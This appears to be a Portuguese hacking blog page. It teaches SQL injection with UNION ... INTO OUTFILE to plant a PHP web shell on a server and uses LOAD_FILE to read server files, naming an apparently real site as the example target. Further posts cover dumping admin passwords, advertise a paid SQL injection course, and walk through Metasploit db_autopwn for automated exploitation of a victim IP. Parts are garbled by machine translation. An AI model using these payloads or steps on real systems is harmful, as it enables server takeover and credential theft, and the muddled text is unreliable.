como enviar arquivo-virus para um servidor com sql injection
Como enviar um arquivo virus para um servidor com sql injection – Existem varias formas de enviar um arquivo para um servidor, porem neste caso iremos utilizar a forma do sql injection.
A maioria das pessoas sabe que a injeção SQL permite que atacantes para recuperar registros do banco de dados, passe telas de login, alterar conteudo no banco de dados, porem poucas pessoas sabem que é possivel enviar um arquivo para o servidor através do banco de dados, ou seja, caso o servidor esteja vulneravel, o atacante pode injetar um codigo malicioso para enviar um arquivo shell, virus, arquivo em geral para o servidor e atravez do mesmo ter acesso root ao servidor do auvo.
Esquecendo o metodo iniciante para passar por telas de login e senha e ter acesso ao CMS ou area restrita, agora iremos para o metodo um pouco mais avançado.
Comando 1 – INTO OUTFILE – Criar arquivo e escrever no mesmo
MySQL tem um comando embutido que pode ser usado para criar e gravar arquivos de sistema. Este comando tem o seguinte formato:
mysql> select “aqui é o texto que ficará dentro do arquivo, neste caso .TXT” INTO OUTFILE “httpdocs/pasta/arquivo.txt”.
Uma grande desvantagem deste comando é que ele pode ser adicionado a uma consulta existente usando uma SQL para UNIÃO.
Por exemplo, pode ser anexado a seguinte consulta:
select user, password from user where user=”admin” and password=’123′ union
select “text”,2 into outfile “/tmp/file.txt” — ‘
ou seja, podemos adicionar um arquivo de modo muito facil.
Comando 2 – LOAD_FILE – ler arquivos do servidor
MySQL tem um comando interno que pode ser usado para ler arquivos arbitrários. A sintaxe é muito simples. Vamos usar este comando para o plano B.
mysql> select load_file(“path_to_file”);
Este comando arquivo que nem precisa explicar como funciona.
WEBSHELL
WebShell é uma ferramenta muito utilizada nos dias atuais.
Podemos utilizar os comandos acima para criar uma shell, sendo que nesta shell irá executar comandos a partir do navegador web. Muito usado.
Vamos criar um WebShell muito simples que irá executar comandos shell independente do sistema operacional.
Aqui está o código de uma base muito simples em PHP.
<?php echo shell_exec($_GET['cmd']); ?>
para quem não sabe ler programação, pegue um livro já e começe a ler. O comando acima está irá executar comandos a partir de codigos passados via GET, exemplo: http://www.auvo.com.br/shell.php?cmd=ls
O exemplo acima ira listar todos os arquivos e pastas do servidor.
Exploit injeção de SQL – criar web shell
Você precisa adicionar a seguinte string para o comando SQL:
UNION SELECT “<?php echo shell_exec($_GET['cmd']); ?>”, 2,3,4 INTO OUTFILE “/ var / www / html / temp / c.php” -
Algumas explicações:
• 2,3,4 são apenas qualificador que costumava fazer o mesmo número de colunas, como na primeira parte da consulta seleção.
• / var / www / html é um diretório web default nas distribuições RedHat-like (Fedora, CentOS).
BY: invkloip
Read MoreDescobrindo nomes de tabelas em banco de dados mysql,sqlinjection
Uma das formas mais fáceis de si descobrir nomes de tabelas é o uso do comando, show:

Agora, vou tentar listar do banco de dados werp, O nome da tabela de usuarios, Geralmente os nomes das tabelas são: users, roots,usuarios…Vamos ver qual o nome:

Agora, eu já sei o nome do banco de dados, e também sei o nome das tabelas que tem no database, inclusive a de usuarios, agora, eu quero saber o nome das colunas da tabela usuarios.

Agora, vou listar o nome do usuário administrador e a senha do usuário:

Conclusão:
Aqui, você aprendeu listar todos databases do banco de dados, Listar todas as tabelas do database, Listar todas as colunas das tabelas, Listar dados das colunas.
Existem varias maneiras de fazer isso. Eu só estou ensinando uma das maneiras aqui.
Read Morecurso sqlinjection, apostila sqlinjection, compre agora, Dou garantia, Si não aprender dou seu dinheiro de volta
&

nbsp;
Dentre os assuntos que são ensinados aqui, são:
Mysql básico
Criando uma query
Principio do sqlinjection
O que é sqlinjection
Teoria de sqlinjection
Regras sqlinjection
Criando um sistema de login E senha para testes
Listar dados do banco de dados com sqlinjection
Burlar uma query
Burlar um sistema de login e senha
Conseguir acesso ao banco de dados
Conseguir privilégios em um sistema
Conseguir dados de um sistema
Usando parâmetro UNION
Inserindo dados no banco de dados sem permissão
Alterando dados do banco de dados sem permissão
Excluindo dados do banco de dados sem permissão
Excluindo tabelas do banco de dados sem permissão
Excluindo database sem permissão
Descobrir nomes de tabelas do banco de dados
Descobrir nome das colunas do banco de dados
Protegendo sistema de login e senha
Protegendo dados do banco
Proteção na query
Emunizando site, sistema… do sqlinjection
Para você aprender com precisão este curso você precisa de saber:
Básico em linguagem de programação
Básico em banco de dados
——————————————————————————–
Quem si interessar por este livro, pode entrar no link para saber sobre os preços:
http://www.segurancaemrede.com/livros-sobre-invasao/
Ou pode enviar um email para juancarloscunha606@hotmail.com para saber sobre nossos preços.
Read More
auto exploraçao com metasploit
A Criei este post com bastante explicação para todos do meu blog. Esta é uma técnica avançada do metasploit, porem muito fácil de si fazer, Todos podem tentar que vão dar conta numa boa. Esta explicação é para o linux, Entretanto para aqueles que usam windows… Podem ficar despreocupados, pois vou criar um tutorial de auto-exploraçao para windows. Para quem não sabe o que é a auto exploração, vou explicar… Este é o método mais eficaz para quem quer testar sua rede ou seu próprio computador. A AUTO EXPLORAÇAO consiste em testar cada um dos exploits do seu metasploit no alvo definido pelo atacante. Eu sei que todos já sabem o que é metasploit, por isso não vou precisar ficar dizendo toda vez que eu for criar um post sobre o metasploit, E para quem não sabe… Veja outros posts deste mesmo site. Com Esta ferramenta avançada, “qualquer pessoa, pode testar sua própria rede, suas plataformas, sistemas operacionais e sistemas do seu computador. O metasploit Pode ser baixado em diversos lugares, porem aconselho a baixarem do próprio site.http://metasploit.org Faça o download do Metasploit. Link direto ou instale do jeito que voce deseja: Agora vamos descompactar e utilizar. Entre no console, vá ao diretório que foi salvo o metasploit e faça: $ tar -xzvf framework-3.2.tar.gz Entre no diretório com o comando: $ cd framework-3.1 E execute o programa, no caso o console. Com o comando: $ ./msfconsole A auto exploração do metasploit consiste em scans feitos na vitima e com base em portas abertas, seleciona os exploits e testa exploit por exploit. Sendo assim, depois de configurado o metasploit faria o papel de uma invasão com apenas uma linha de comando. Vou lembrar vocês de uma coisa, VOU ensinar vocês a testarem suas rede e sistemas. NÃO USEM ESSA FERRAMENTA PARA O MAL!!! Agora precisamos instalar o Postgres. De o comando: # yum install postgres Após a instalação do postgres é nescessario ruby. Instale o ruby e rubygems # yum install ruby rubygems vamos agora instalar Active Record e Postgresql. # gem install activerecord # gem install postgresql. As informações do servidor, portas abertas e exploits utilizados são armazenadas em um banco de dados do postgres. Certificando que o serviço Postgres esta rodando em seu sistema, vamos criar as tabelas: # su – postgres $ psql -d template1 -U postgres Estamos dentro do console do postgres, aqui iremos criar nossas tabelas. Welcome to psql 7.4.16, the PostgreSQL interactive terminal. Type: \copyright for distribution terms template1=# template1=# CREATE USER root WITH PASSWORD ‘minha senha’; Criada nossa tabela, está tudo pronto para iniciar nossa auto exploração. Inicie o metasploit. # cd framework-3.2 //ou qual versão você estiver instalada # ./msfconsole Dentro do console Metasploit, digite os comandos: . load db_postgres . db_create (em casos de erros, ignore.) . db_hosts . db_nmap “ip da vitima” Após o programa fazer o scan, O metasploit ira jogar o scaneamento para o banco de dados. AGORA VEM A MELHOR PARTE, Após o scan, execute o comando db_autpwn -p -t –e O Metasploit ira executar exploit por exploit. Aqui vai alguns argumentos para o db_autopwn: -h indica este texto de ajuda -t Show all matching exploit modules -e Façanhas do lançamento de encontro a todos os alvos combinados OBS: SI AO COMEÇAR INSTALAR O POSTGRE E DER ALGUM ERRO, PESQUISE NO GOOGLE, COMO INSTALAR POSTGRE, DAI, SERÁ MAIS FACIL DE RESOLVER. Fonte: Invasao
Vamos começar agora, já Instalando. Quem já tem instalado pode pular esta parte
http://metasploit.org/framework/downloa … 3.2.tar.gzAuto Exploração
VAMOS LÁ
Precisamos criar agora, tabelas para serem usadas pela auto exploraçao.
\h for help with SQL commands
\? for help on internal slash commands
\g or terminate with semicolon to execute query
\q to quit
template1=# CREATE DATABASE metasploit3;
template1=# GRANT ALL PRIVILEGES ON DATABASE metasploit3 to root;
template1=# q
-x mostra todos os módulos de harmonização da façanha
-p módulos seletos baseados em portas abertos
-s Obter somente um único escudo por o sistema de alvo (NON-FUNCTIONAL)
-r Use um reverso escudo para conectar
-b Use um escudo do ligamento em um porta aleatória
-I [escala] Somente anfitriões da façanha dentro desta escala
-X [escala] Exclua sempre anfitriões dentro desta escala